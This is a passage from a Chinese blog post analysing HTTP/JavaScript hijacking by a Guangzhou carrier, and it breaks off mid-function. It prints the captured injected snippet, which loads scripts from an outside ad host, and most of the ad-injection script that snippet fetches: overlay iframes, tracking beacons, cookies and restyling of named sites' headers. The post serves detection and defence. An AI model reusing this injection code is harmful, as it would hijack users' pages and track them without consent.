广州运营商网站js劫持一些记录
广告：阿里云采购优惠专区
关于运营商网络劫持 ：
现象：用户手机访问网站会有信息提示广告，或以红包按钮提示或以消息图片提示（非本网站广告）。同时捕获时页面js脚本被注入以下代码：
var _atn_obj_ = new Object;
_atn_obj_.oldurl = 'http://shop.xiyaohe.com/scripts/public.js?cHVzaA=1526455614';
_atn_obj_.unified_url = 'http://uiq.mlnbike.com:2525/ad_unified_access?SP=ABys7My4PPzc/HzcrJz8nOzL/OyczRmJuDtt/OztHP0dLOg82Dy8vPzs/Pg86DzsrNycvKysnOy4POys3Jy8rKyc7Lz8jIzs3HyYPNx8rH';
window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0);
window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0);
或者：http://58.87.102.91:8181/2482m.js
注册人资料：http://uiq.mlnbike.com:2525
关键词：关于运营商网络劫持 网络劫持,网页js被伪装替换 广东电信运营商HTTP劫持 Header劫持、js劫持 网页内容篡改 流量劫持
用户端劫持的判断方法：只需观察浏览器呈现的网页前端代码，查看是否引用了不当的js，或者其它敏感内容。每次访问网页从服务端获取到的网页代码都是相同的，只是控制了网页代码在浏览器中呈现的效果（比如是否进行跳转等）。
解决办法：投拆或者网站采用 https加密模式
代码分析：
ad_unified_access 文件内容：
var _pushshowjs_ = new Object;
_pushshowjs_.expires = 10;
_pushshowjs_.param = '101928|80|80|10|1|1|';
_pushshowjs_.url = 'http://mpbql.mlnbike.com:2525/adauto/ads/1521701115367/index.htm?SP=ABzs/PzoPKzszLg5iTkJ2ek6Ccl56RkZqTg86Dy8vPzs/Pg8/Nz8fNysnPyc7Mv87JzNGYm4POzszRycrRzc/H0c7Iz4POg87PzcfPyoPOz87GzceDxsbGxoOMl5CP0YeWhp6Ql5rRnJCSg87KzcnLysrOzsuDzYPPg82Dx8bIycfMx8/Og87KzcnLysrOzsvPyczPzcvJg7bfzs7Rz9HSzoPOg86Dzs3M';
_pushshowjs_.adtype = '1';
_pushshowjs_.feedurl = 'http://uiq.mlnbike.com:2525/feedback';
_pushshowjs_.eparam = '?SP=ABzs/PzoPKzszLg5iTkJ2ek6Ccl56RkZqTg86Dy8vPzs/Pg8/Nz8fNysnPyc7Mv87JzNGYm4POzszRycrRzc/H0c7Iz4POg87PzcfPyoPOz87GzceDxsbGxoOMl5CP0YeWhp6Ql5rRnJCSg87KzcnLysrOzsuDzYPPg82Dx8bIycfMx8/Og87KzcnLysrOzsvPyczPzcvJg7bfzs7Rz9HSzoPOg86Dzs3M';
_pushshowjs_.realinfo = '';
_pushshowjs_.closeispush = '0';
_pushshowjs_.isAutoClose = '1';
_pushshowjs_.closeTimes = '0';
_pushshowjs_.israndom = '0';
_pushshowjs_.randomval = '20.0';
_pushshowjs_.forwordurl = 'http://engine.sifumi.cn/index/activity?appKey=2PDTFgutrDMro9q9by3EuB2u3S6c&adslotId=5583';
_pushshowjs_.clickcode = '1271680033';
window.setTimeout(function() {
var a = document.createElement("script");
a.type = 'text/javascript';
a.src = 'http://qul.mlnbike.com:2525/pushjs/embed_mobile_V1.js';
a.src += a.src.indexOf('?') == -1 ? '?' : '&';
a.src += 't=' + (new Date().getTime());
if (_pushshowjs_.adtype != '4') {
document.getElementsByTagName("head")[0].appendChild(a);
} else {
document.getElementsByTagName("body")[0].appendChild(a);
a = document.createElement("script");
a.type = 'text/javascript';
a.src = 'http://qul.mlnbike.com:2525/pushjs/embed_mobile_V1.js';
document.getElementsByTagName("body")[0].appendChild(a);
}
}, 0);
embed_mobile_V1.js 内容：
var _oP78_000=objview78_000(_pushshowjs_.url);
var _czc = _czc || [];
function objview78_000(url){
var obj=new Object;
obj.expires = _pushshowjs_.expires ? _pushshowjs_.expires : 10;
obj.param = _pushshowjs_.param;
obj.iWidth = 320;
obj.iHeight = 240;
obj.centerWid = 0;
obj.centerHeig = 0;
obj.iPosition = 1;
obj.iBorder = 1;
obj.iShowType = 1;
obj.bHadShow = false;
obj.sInterval = 5;
obj.bNeedShow = false;
obj.bShowing = false;
obj.hHandle; // the handle of scroll timer;
obj.hCheckAD; // the handle of adchecker timer;
obj.arralreadysend = false; //
obj.iPid = 0;
obj.base_url = _pushshowjs_.baseurl;
obj.url = url;
obj.elmHeight = 0;
obj.policyParam = '';
obj.closeispush = _pushshowjs_.closeispush;
obj.feedbackurl = _pushshowjs_.feedurl;
obj.israndom = _pushshowjs_.israndom;
obj.randomval = _pushshowjs_.randomval;
obj.forwordurl = _pushshowjs_.forwordurl;
obj.clickcode = _pushshowjs_.clickcode;
obj.isAutoClose = _pushshowjs_.isAutoClose != null && typeof(_pushshowjs_.isAutoClose) != "undefined" && !isNaN(_pushshowjs_.isAutoClose) ? _pushshowjs_.isAutoClose : 1;
obj.closeTimes = _pushshowjs_.closeTimes != null && typeof(_pushshowjs_.closeTimes) != "undefined" && !isNaN(_pushshowjs_.closeTimes) ? _pushshowjs_.closeTimes : 0;
obj.GetViewHtml = function(){
var str = '';
if(obj.iPosition == 1 || obj.iPosition == 11){
str = str + '<div id="_embed_v3_dc" style="overflow:hidden;margin:0;display:none;width:100%; position:relative;">';
}else if(obj.iPosition == 10){
str = str + '<div id="_embed_v3_dc" style="margin:0; float:left; z-index:9998; position:fixed;display:none;width:100%;">';
}else{
str = str + '<div id="_embed_v3_dc" style="overflow:hidden; margin:0; float:left; z-index:9998; position:fixed;display:none;width:100%;">';
}
if(obj.iPosition == 10){
str = str + ' <div id="_embed_v3_hd_r" style="overflow:hidden; z-index:2147483647; width:100%; height:20px; position:relative; " onclick="clickCloseFeedback('+obj.closeispush+')"><img src="http://qul.mlnbike.com:2525/pushjs/x.png" style=" height:19px; width:19px; float:right;" />';
str = str + ' <div id="_embed_v3_hd">';
str = str + ' <div id="_embed_v3_hd_l"></div>';
str = str + ' <div id="_embed_v3_hd_c"></div>';
str = str + ' </div></div>';
}else if(obj.iPosition == 1){
str = str + ' <div id="_embed_v3_hd">';
str = str + ' <div id="_embed_v3_hd_l"></div>';
str = str + ' <div id="_embed_v3_hd_c"></div>';
str = str + ' <div id="_embed_v3_hd_r" style="z-index:2147483647; position:relative; width:100%; height:100%; float:right;" onclick="clickCloseFeedback('+obj.closeispush+')"><img src="http://qul.mlnbike.com:2525/pushjs/x.png" style=" height:20px; width:20px; float:right;" /></div>';
str = str + ' </div>';
}else if (obj.iPosition == 11){
str = str + ' <div id="_embed_v3_hd">';
str = str + ' <div id="_embed_v3_hd_l"></div>';
str = str + ' <div id="_embed_v3_hd_c"></div>';
str = str + ' <div id="_embed_v3_hd_r" style="z-index:2147483647; position:relative; width:100%; height:100%; float:right;" ><img onclick="clickCloseFeedback('+obj.closeispush+')" src="http://qul.mlnbike.com:2525/pushjs/tm.png" style=" height:12px; width:12px; float:right;" /></div>';
str = str + ' </div>';
}else if (obj.iPosition == 13){
str = str + ' <div id="_embed_v3_hd_r" style="overflow:hidden; z-index:2147483647; width:100%; height:20px; position:absolute;left:0;top:0; " ><img onclick="clickCloseFeedback('+obj.closeispush+')" src="http://qul.mlnbike.com:2525/pushjs/tm.png" style=" height:12px; width:12px; float:right;" />';
str = str + ' <div id="_embed_v3_hd">';
str = str + ' <div id="_embed_v3_hd_l"></div>';
str = str + ' <div id="_embed_v3_hd_c"></div>';
str = str + ' </div></div>';
}else{
str = str + ' <div id="_embed_v3_hd_r" style="overflow:hidden; z-index:2147483647; width:100%; height:20px; position:relative; " onclick="clickCloseFeedback('+obj.closeispush+')"><img src="http://qul.mlnbike.com:2525/pushjs/normalclose.png" style=" height:20px; width:50px; float:right;" />';
str = str + ' <div id="_embed_v3_hd">';
str = str + ' <div id="_embed_v3_hd_l"></div>';
str = str + ' <div id="_embed_v3_hd_c"></div>';
str = str + ' </div></div>';
}
str = str + ' <div id="_embed_v3_main" style="z-index:2147483646;height:100%; top:20px;"><iframe id="_embed_v3_frmc" style="border:0px;width:100%;height:100%;" scrolling="no" name="_embed_v3_frmc" src="'+obj.url+'"></iframe></div>';
str = str + ' <div id="_embed_v3_ft"></div>';
str = str + '</div>';
if(obj.iPosition == 21){
str = '<div id="content" style="height: 12vw;background: linear-gradient(to right, #94e0d6, #97b6ec);border-radius: 2.5rem 0 0 2.5rem;position: fixed;right: 0;bottom: 20vw;width: 80vw;z-index:1000000;">';
str = str + '<div id="contentleft" onclick="left()" style="float: left;height: 100%;border-radius: 2.5rem 0 0 2.5rem;line-height: 2.5rem;width: 10%;"> ';
str = str + '<span style="font-size: 6vw;display: inline-block;height:100%;width: 10%;line-height:12vw; color: #fff; margin-left: 3vw;font-weight: 700;vertical-align: middle;position:absolute;left:0;top:0;">To</span></div>';
str =str+'<div id="contentcenter" style="float: left;width: 50vw;height: 12vw;margin-left:10px ;position: relative;"><img src="http://qul.mlnbike.com:2525/pushjs/point.png" style="height: 8vw;position: absolute;top: 2vw; left: -1.8vw"/>';
str = str + '<span class="spancenter" style="height: 12vw;width: 51vw;float: left;margin-left: 4.3vw;"><iframe src="'+obj.url+'" style="height:100%;width:100%;border: transparent;border: 0;"></iframe> </span> ';
str = str + '<span class="ad" style="position: absolute; left: 113%;bottom: 2vw; border: #fff solid 1px;border-radius: 5px;color: #fff;font-size: 2.2vw;padding: 2px;white-space:nowrap">广告</span> </div>';
str = str +'<div id="contentright" onclick="right()" style="float: right;height: 100%;width: 6vw;font-size: 0.24rem;vertical-align: middle;line-height: 100%;text-align: center;"> <img src="http://qul.mlnbike.com:2525/pushjs/arrow.png" style="height: 6vw;width:100%;margin-top: 3vw;" /> </div>';
str = str +'<style type="text/css">#close:after{ background-color: rgba(89, 141, 224, 0.5); content: ""; left: 50%; margin-left: -0.4vw; height: 2.3vw; position: absolute; bottom: 0; width:0.7vw; z-index: 1;}</style>';
str = str + '<div id="close" onclick="closemodel('+obj.closeispush+')" style="position: absolute;top: -7vw;right: 14px;height: 7vw;width: 5vw;cursor: pointer;"> <img src="http://qul.mlnbike.com:2525/pushjs/mbclose.png" style="width: 100%;"/></div></div>';
}
//alert(str);
return str;
};
obj.autoClose = function(){
//alert(obj.isAutoClose + "|" + obj.closeTimes);
if(obj.isAutoClose == 0){
var cTimes = obj.closeTimes * 1000;
//document.getElementById('_embed_v3_dc').style.display='none';
//document.getElementById('_embed_v3_frmc').src='';
setTimeout("document.getElementById('_embed_v3_dc').style.display='none';document.getElementById('_embed_v3_frmc').src='';",cTimes);
if(obj.closeispush == 1){
var URL = _pushshowjs_.feedurl;
var path = _pushshowjs_.eparam;
path=decodeURIComponent(path);
path=path.replace(' ','+');
if (path != "") {
path = URL + path + "&stype=5";
} else {
path = URL;
}
var xhr;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.open("get", path, true);
xhr.onreadystatechange = function(data) {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
/*if(stype==0){
//实名推送获取内容替换占位符
replaceContent(xhr.responseText);
}else if(stype==3){
closePage();
}*/
}
}
}
xhr.send();
}
}
};
obj.getParams = function() {
var paramarray = obj.param.split("|");
obj.SetCookie(obj.policyParam,obj.policyParam, { expires: obj.expires, path: '/' });
try {
//obj.iWidth = parseInt(paramarray[0], 10);
obj.iWidth = document.body.clientWidth;
obj.iPosition = parseInt(paramarray[3], 10);
if(obj.iPosition == 1 || obj.iPosition == 11){
obj.iHeight = 60;
}else if (obj.iPosition == 13){
obj.iHeight = 60;
}else {
obj.iHeight = 80;
}
if(obj.iPosition==5){
//obj.iHeight = 240;
//obj.iWidth=220;
obj.iWidth = parseInt(paramarray[2], 10);
obj.iHeight = parseInt(paramarray[1], 10);
obj.centerWid = parseInt(paramarray[2], 10);
obj.centerHeig = parseInt(paramarray[1], 10);
}else if(obj.iPosition==9){
//obj.iHeight = 42;
//obj.iWidth=283;
obj.iWidth = parseInt(paramarray[2], 10);
obj.iHeight = parseInt(paramarray[1], 10);
}else if(obj.iPosition==10){
obj.iWidth = parseInt(paramarray[2], 10);
obj.iHeight = parseInt(paramarray[1], 10);
obj.centerWid = parseInt(paramarray[2], 10);
obj.centerHeig = parseInt(paramarray[1], 10);
}
//obj.iBorder = parseInt(paramarray[4], 10);
obj.iBorder = 1;
obj.iShowType = parseInt(paramarray[5], 10);
} catch (e) {
obj.iWidth = 320;
obj.iHeight = 240;
obj.iPosition = 1;
obj.iBorder = 1;
obj.iShowType = 1;
}
//alert(obj.iPosition);
//var useragentstr = navigator.userAgent;
//useragentstr = useragentstr.toLowerCase()
//alert(useragentstr);
};
obj.getPolicyParam = function(){
return obj.param;
};
obj.getStyle = function(el, style) {
if (!document.getElementById) return;
var value = el.style[obj.toCamelCase(style)];
if (!value) if (document.defaultView) value = document.defaultView.getComputedStyle(el, "").getPropertyValue(style);
else if (el.currentStyle) value = el.currentStyle[obj.toCamelCase(style)];
return value;
};
obj.setStyle = function(objId, style, value) {
document.getElementById(objId).style[style] = value;
};
obj.toCamelCase = function(sInput) {
var oStringList = sInput.split('-');
if (oStringList.length == 1) return oStringList[0];
var ret = sInput.indexOf("-") == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0];
for (var i = 1,len = oStringList.length; i < len; i++) {
var s = oStringList[i];
ret += s.charAt(0).toUpperCase() + s.substring(1);
}
return ret;
};
obj.add_css = function(str_css) {
var style;
if (document.createStyleSheet) {
style = document.createStyleSheet();
style.cssText = str_css;
} else {
style = document.createElement("style");
style.type = "text/css";
style.textContent = str_css;
document.getElementsByTagName("head")[0].appendChild(style);
}
};
obj.DrawAdDiv = function(iStyle) {
//iStyle: 1:no border; 2:qq style;3:sina style
//no border
if (iStyle == 1) {
obj.setStyle('_embed_v3_frmc', "height", obj.iHeight + "px");
obj.setStyle('_embed_v3_frmc', "width", obj.iWidth + "px");
obj.setStyle('_embed_v3_dc', "height", obj.iHeight + "px");
//obj.setStyle('_embed_v3_dc', "width", obj.iWidth + "px");
//obj.setStyle('_embed_v3_dc', "position", "fixed");
//obj.setStyle('_embed_v3_hd_l', "text-indent", "-9999px");
//document.getElementById("_embed_v3_hd_c").innerHTML = " ";
//document.getElementById("_embed_v3_btnc").style.cssText = "width:20px; height:14px; float:right; background-color:Silver; font-size:12px; cursor:pointer; text-align:center; position:relative; z-index:9999; margin:-14px 5px 0 0;";
document.getElementById("_embed_v3_main").style.cssText = "position:absolute; top:20; left:0; z-index:9997;overflow:hidden;";
obj.setStyle('_embed_v3_main', "width", obj.iWidth + "px");
}
//2:qq style;
if (iStyle == 2) {
obj.setStyle('_embed_v3_frmc', "height", obj.iHeight + "px");
obj.setStyle('_embed_v3_frmc', "width", obj.iWidth + "px");
obj.setStyle('_embed_v3_dc', "height", obj.iHeight + 24 + 5 + "px");
//obj.setStyle('_embed_v3_dc', "width", obj.iWidth + 3 + 3 + "px");
obj.setStyle('_embed_v3_dc', "position", "fixed");
document.getElementById("_embed_v3_hd").style.cssText = 'height:24px; overflow:hidden;';
obj.setStyle('_embed_v3_hd', "width", obj.iWidth + 3 + 3 + "px");
document.getElementById("_embed_v3_hd_l").style.cssText = 'width:3px; height:24px;background:url("'+obj.base_url+'images/qqstyle_01.gif") no-repeat; text-indent:-9999px; float:left;';
document.getElementById("_embed_v3_hd_c").style.cssText = 'height:24px; background:url("'+obj.base_url+'images/qqstyle_02.gif") repeat-x; float:left;';
obj.setStyle('_embed_v3_hd_c', "width", obj.iWidth + 3 + 3 - 3 - 20 + "px");
document.getElementById("_embed_v3_hd_r").style.cssText = 'width:20px; height:24px; float:left;';
document.getElementById("_embed_v3_btnc").style.cssText = 'width:20px;height:24px;float:right; background:url("'+obj.base_url+'images/qqstyle_06.gif") no-repeat; position:relative; z-index:9999; text-indent:-9999px;cursor:pointer;';
document.getElementById("_embed_v3_main").style.cssText = 'background:#bddefd; text-align:center; padding:0 3px;';
obj.setStyle('_embed_v3_main', "width", obj.iWidth + "px");
document.getElementById("_embed_v3_ft").style.cssText = 'height:5px; background:#bddefd;';
obj.setStyle('_embed_v3_ft', "width", obj.iWidth + 3 + 3 + "px");
}
//3:sina style
if (iStyle == 3) {
obj.setStyle('_embed_v3_frmc', "height", obj.iHeight + "px");
obj.setStyle('_embed_v3_frmc', "width", obj.iWidth + "px");
obj.setStyle('_embed_v3_dc', "height", obj.iHeight + 27 + 5 + "px");
//obj.setStyle('_embed_v3_dc', "width", obj.iWidth + 3 + 3 + "px");
obj.setStyle('_embed_v3_dc', "position", "fixed");
document.getElementById("_embed_v3_hd").style.cssText = 'height:27px; overflow:hidden;';
obj.setStyle('_embed_v3_hd', "width", obj.iWidth + 3 + 3 + "px");
document.getElementById("_embed_v3_hd_l").style.cssText = 'width:3px; height:27px;background:url("'+obj.base_url+'images/sinastyle_01.gif") no-repeat; text-indent:-9999px; float:left;';
document.getElementById("_embed_v3_hd_c").style.cssText = 'height:27px; background:url("'+obj.base_url+'images/sinastyle_02.gif") repeat-x; float:left;';
obj.setStyle('_embed_v3_hd_c', "width", obj.iWidth + 3 + 3 - 3 - 65 + "px");
document.getElementById("_embed_v3_hd_r").style.cssText ='width:65px; height:27px; float:left;cursor:pointer;';
document.getElementById("_embed_v3_btnc").style.cssText ='width:65px;height:27px; float:right; background:url("'+obj.base_url+'images/sinastyle_06.gif") no-repeat; position:relative; z-index:9999; text-indent:-9999px;';
document.getElementById("_embed_v3_main").style.cssText = 'background:#bddefd; text-align:center; padding:0 3px;';
obj.setStyle('_embed_v3_main', "width", obj.iWidth + "px");
document.getElementById("_embed_v3_ft").style.cssText ='height:5px; background:#bddefd;';
obj.setStyle('_embed_v3_ft', "width", obj.iWidth + 3 + 3 + "px");
}
};
obj.ShowIt = function(elmHeight) {
if (obj.bHadShow || obj.bShowing) return;
obj.bShowing = true;
obj.setStyle('_embed_v3_dc', 'display', '');
if (obj.iShowType == 1) {
obj.setStyle('_embed_v3_dc', 'height', elmHeight + "px");
obj.bHadShow = true;
obj.bShowing = false;
} else {
obj.elmHeight = elmHeight;
obj.hHandle = setInterval(obj.scrollit, obj.sInterval);
}
};
obj.scrollit = function() {
var currh = parseInt(obj.getStyle(document.getElementById("_embed_v3_dc"), "height"));
currh++;
obj.setStyle('_embed_v3_dc', 'height', currh + "px");
if (currh >= obj.iHeight) {
obj.bHadShow = true;
obj.bShowing = false;
clearInterval(obj.hHandle);
clearInterval(obj.hCheckAD);
}
};
obj.Get_scroll_70e=(document.compatMode=="CSS1Compat")?document.documentElement:document.body;
obj.PositionIE = function(){
if (/msie (\d+\.\d)/i.test(navigator.userAgent)) {
var q=parseFloat(RegExp.$1);
return (q>=7&&document.compatMode!="BackCompat");
}else return true;
};
obj.xcy_move = function(){
if(obj.Get_scroll_70e==null){
obj.Get_scroll_70e=(document.compatMode=="CSS1Compat")?document.documentElement:document.body;
}
var dcWidth = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "width"));
var dcHeight = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "height"));
//alert("top="+obj.Get_scroll_70e.scrollTop + obj.Get_scroll_70e.clientHeight - dcHeight);
//alert("left="+obj.Get_scroll_70e.scrollLeft + obj.Get_scroll_70e.clientWidth - dcWidth);
obj.setStyle('_embed_v3_dc', "left", parseInt(obj.Get_scroll_70e.scrollLeft + obj.Get_scroll_70e.clientWidth - dcWidth) + "px");
obj.setStyle('_embed_v3_dc', "top", (obj.Get_scroll_70e.scrollTop + obj.Get_scroll_70e.clientHeight - dcHeight) + "px");
};
obj.locatead = function(showad){
var posLeft = 0;
var posTop = 0;
//FixDomain();
var docWidth = obj.Get_scroll_70e.scrollLeft + obj.Get_scroll_70e.clientWidth;
var docHeight = obj.Get_scroll_70e.scrollTop + obj.Get_scroll_70e.clientHeight;
var dcWidth = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "width"));
var dcHeight = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "height"));
var w = parseInt(obj.getStyle(document.getElementById('_embed_v3_main'), "width"));
var h = parseInt(obj.getStyle(document.getElementById('_embed_v3_main'), "height"));
//alert(obj.iPosition+"-"+docWidth+"|"+docHeight+"*"+dcWidth+"|"+dcHeight);
//alert(docHeight+"|"+dcHeight);
switch (obj.iPosition) {
case 1:
obj.setStyle('_embed_v3_dc', "top", "0px");
//obj.setStyle('_embed_v3_dc', "top", "0px");
//obj.setStyle('_embed_v3_dc', "left", "0px");
//obj.setSytle('_embed_v3_dc', "width", obj.iWidth+"px");
break;
case 2:
obj.setStyle('_embed_v3_dc', "left", "0px");
obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - dcHeight) / 2) + "px");
break;
case 3:
//obj.setStyle('_embed_v3_dc', "left", "0px");
//var useragentstr = navigator.userAgent;
//alert(useragentstr);
//useragentstr = useragentstr.toLowerCase();
//alert(useragentstr.indexOf("iphone"));
//alert(useragentstr.indexOf("ucbrowser"));
//if(useragentstr.indexOf("iphone") > -1 ){
//if(useragentstr.indexOf("ucbrowser") > -1 || useragentstr.indexOf("sogoumobilebrowser") > -1 ){
// obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight-44) + "px");
//}else{
//// obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");
//}
//}else{
// obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");
//}
obj.setStyle('_embed_v3_dc', "bottom", "0px");
break;
case 4:
obj.setStyle('_embed_v3_dc', "top", "0px");
obj.setStyle('_embed_v3_dc', "left", "0px");
break;
case 5:
//if(docWidth > docHeight){
//obj.setStyle('_embed_v3_dc', "left", "30%");
//}else{
//obj.setStyle('_embed_v3_dc', "left", "8%");
//}
obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - obj.centerWid) / 2) + "px");
//obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - dcWidth))/2-50 + "px");
//obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - dcHeight) / 2) + "px");
//obj.setStyle('_embed_v3_dc', "bottom", parseInt((docHeight+dcHeight))/4-95+"px");
//obj.setStyle('_embed_v3_dc', "top", "25%");
obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - obj.centerHeig))/2 +"px");
//obj.setStyle('_embed_v3_frmc',"height","100%");
//obj.setStyle('_embed_v3_frmc',"width","85%");
obj.setStyle('_embed_v3_frmc',"height", obj.centerHeig + "px");
obj.setStyle('_embed_v3_frmc',"width", obj.centerWid + "px");
obj.setStyle('_embed_v3_hd_r', "width", obj.centerWid + "px");
break;
case 6:
obj.setStyle('_embed_v3_dc', "left", "0px");
obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");
break;
case 7:
//obj.setStyle('_embed_v3_dc', "top", "0px");
obj.setStyle('_embed_v3_dc', "bottom", "0px");
break;
case 8:
//obj.setStyle('_embed_v3_dc', "left", "0px");
//obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");
obj.setStyle('_embed_v3_dc', "bottom", "0px");
break;
case 9:
//obj.setStyle('_embed_v3_dc', "left", (docWidth - dcWidth) + "px");
//obj.setStyle('_embed_v3_dc', "bottom", (docHeight - dcHeight) + "px");
obj.setStyle('_embed_v3_dc', "bottom", "0px");
break;
case 10:
obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - obj.centerWid)) + "px");
//obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - dcWidth))/2-50 + "px");
//obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - dcHeight) / 2) + "px");
//obj.setStyle('_embed_v3_dc', "bottom", parseInt((docHeight+dcHeight))/4-95+"px");
//obj.setStyle('_embed_v3_dc', "top", "25%");
obj.setStyle('_embed_v3_dc', "top", "60%");
//obj.setStyle('_embed_v3_frmc',"height","100%");
//obj.setStyle('_embed_v3_frmc',"width","85%");
obj.setStyle('_embed_v3_frmc',"height", obj.centerHeig + "px");
obj.setStyle('_embed_v3_frmc',"width", obj.centerWid + "px");
obj.setStyle('_embed_v3_hd_r', "width", obj.centerWid + "px");
break;
case 11:
obj.setStyle('_embed_v3_dc', "top", "0px");
break;
case 13:
obj.setStyle('_embed_v3_dc', "bottom", "0px");
break;
}
//CheckScreenSize();
//if (obj.bHadShow == false && showad && !obj.bShowing) {
// obj.setStyle('_embed_v3_dc', "height", "0px");
// if (parseInt(getStyle($('dc'), 'top')) + dcHeight == docHeight) {
// setStyle('dc', "top", "");
// setStyle('dc', "bottom", "0px");
// }
// ShowIt(dcHeight);
//}
if (obj.bHadShow == false && showad && !obj.bShowing) {
//var dcHeight = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "height"));
obj.setStyle('_embed_v3_dc', "height", "0px");
obj.ShowIt(dcHeight);
obj.hCheckAD=window.setInterval(obj.resize,100);
//obj.iframecontent();
}
};
obj.resize = function(){
obj.iWidth = document.body.clientWidth;
obj.DrawAdDiv(obj.iBorder);
obj.locatead(false);
};
obj.iframecontent = function(){
try{
var aa =document.getElementById("_embed_v3_frmc").contentWindow.document.body.innerHTML;
}catch(e){}
};
obj.view = function(){
if(obj.adcheck()) return;
obj.getParams();
//document.writeln(obj.GetViewHtml());
var a=document.createElement("div");
a.innerHTML= obj.GetViewHtml();
if(_pushshowjs_.israndom == 0){
var newScript = document.createElement('script');
newScript.type = 'text/javascript';
newScript.src = "https://s22.cnzz.com/z_stat.php?id="+_oP78_000.clickcode+"&web_id="+_oP78_000.clickcode;
a.appendChild(newScript);
}
//document.body.appendChild(a);
if(obj.iPosition == 1 || obj.iPosition == 11){
document.getElementsByTagName("body")[0].insertBefore(a,document.getElementsByTagName("body")[0].firstChild);
}else{
document.body.appendChild(a);
}
obj.setStyle("_embed_v3_dc", "display", "none");
obj.bNeedShow = true;
if (!obj.bShowing && !obj.bHadShow){
obj.dispad();
}
obj.autoClose();
};
obj.adcheck = function() {
if(location.href.indexOf("gd.189.cn")>=0) return true;
var isIf = false;
try{
if(self != top){
isIf = true;
}}catch(e){
//如果是在和父页面不同域
isIf = true;
}
return isIf;
};
obj.dispad = function() {
if (obj.bShowing == false && obj.bNeedShow) {
obj.DrawAdDiv(obj.iBorder);
obj.locatead(true);
}
};
obj.trim = function(text){
return (text || "").replace(/^\s+|\s+$/g, "");
};
obj.GetCookie = function(name){
var cookieValue = null;
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = obj.trim(cookies[i]);
if (cookie.substring(0, name.length + 1) == (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
};
obj.SetCookie = function(name, value, options) {
options = options || {};
if (value === null) {
value = '';
options.expires = -1;
} var expires = '';
if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
var date;
if (typeof options.expires == 'number') {
date = new Date();
date.setTime(date.getTime() + (options.expires * 1000));
} else {
date = options.expires;
}
expires = '; expires=' + date.toUTCString();
}
var path = options.path ? '; path=' + (options.path) : '';
var domain = options.domain ? '; domain=' + (options.domain) : '';
var secure = options.secure ? '; secure' : '';
document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
};
obj.removePosition = function (){
if(obj.iPosition == 1 || obj.iPosition == 11){
var classElements=[],allElements=document.getElementsByTagName('*');
for(var i=0;i<allElements.length;i++){
if(allElements[i].className == "header"){
allElements[i].style.cssText = "position:absolute;";
}
if(allElements[i].className == "tm-mobile-header"){
allElements[i].style.cssText = "position:absolute;";
}
if(allElements[i].className == "tag-box"){
allElements[i].style.cssText = "position:absolute;";
}
if(allElements[i].className == "inp-search"){
allElements[i].style.cssText = "position:absolute;";
}
if(allElements[i].className == "km-tab g-tab"){
allElements[i].style.cssText = "position:inherit;";
}
if(allElements[i].className == "sch_new sch_new_20140508"){
allElements[i].style.cssText = "position:fixed;";
}
//美食天下 http://m.meishichina.com/
if(allElements[i].className == "topbar"){
allElements[i].style.cssText = "position:inherit;";
}
//优酷 http://www.youku.com/
if(allElements[i].className == "yk-header-container"){
allElements[i].style.cssText = "position:inherit;";
}
//搜狐 http://m.sohu.com/
if(allElements[i].className == "h_min_w "){
allElements[i].style.cssText = "position:inherit;";
}
//搜狐 http://m.sohu.com/
if(allElements[i].className == "h_min_w"){
allElements[i].style.cssText = "position:inherit;";
}//360新闻http://m.news.haosou.com/
if(allElements[i].className == "view current"){
allElements[i].style.cssText = "position:inherit;";
}//360新闻http://m.news.haosou.com/
if(allElements[i].className == "p-article view curr-article current"){
allElements[i].style.cssText = "position:inherit;";
}
//携程http://m.ctrip.com/
if(allElements[i].className == "search-index js_search_index"){
allElements[i].style.cssText = "position:inherit;";
}//糗百网http://m.qiushibaike.com/
//if(allElements[i].className == "animated fast clearfix headroom"){
// alert(111111);
//allElements[i].style.cssText = "position:inherit;";
//}
}
}
};
return obj;
}
//获取对象样式规则信息，IE下使用currentStyle
function getStyle(obj,style){
return obj.currentStyle?obj.currentStyle[style]:getComputedStyle(obj,false)[style];
}
//原生js动画类似jquery--animate
function animate(obj,styleJson,callback){
clearInterval(obj.timer);
// 开启定时器
obj.timer=setInterval(function(){
var flag=true;//假设所有动作都已完成成立。
for(var styleName in styleJson){
//1.取当前属性值
var iMov=0;
// 透明度是小数，所以得单独处理
iMov=styleName=='opacity'?Math.round(parseFloat(getStyle(obj,styleName))*100):parseInt(getStyle(obj,styleName));
//2.计算速度
var speed=0;
speed=(styleJson[styleName]-iMov)/8;//缓冲处理，这边也可以是固定值
speed=speed>0?Math.ceil(speed):Math.floor(speed);//区分透明度及小数点，向上取整，向下取整
//3.判断是否到达预定值
if(styleJson[styleName]!=iMov){
flag=false;
if(styleName=='opacity'){//判断结果是否为透明度
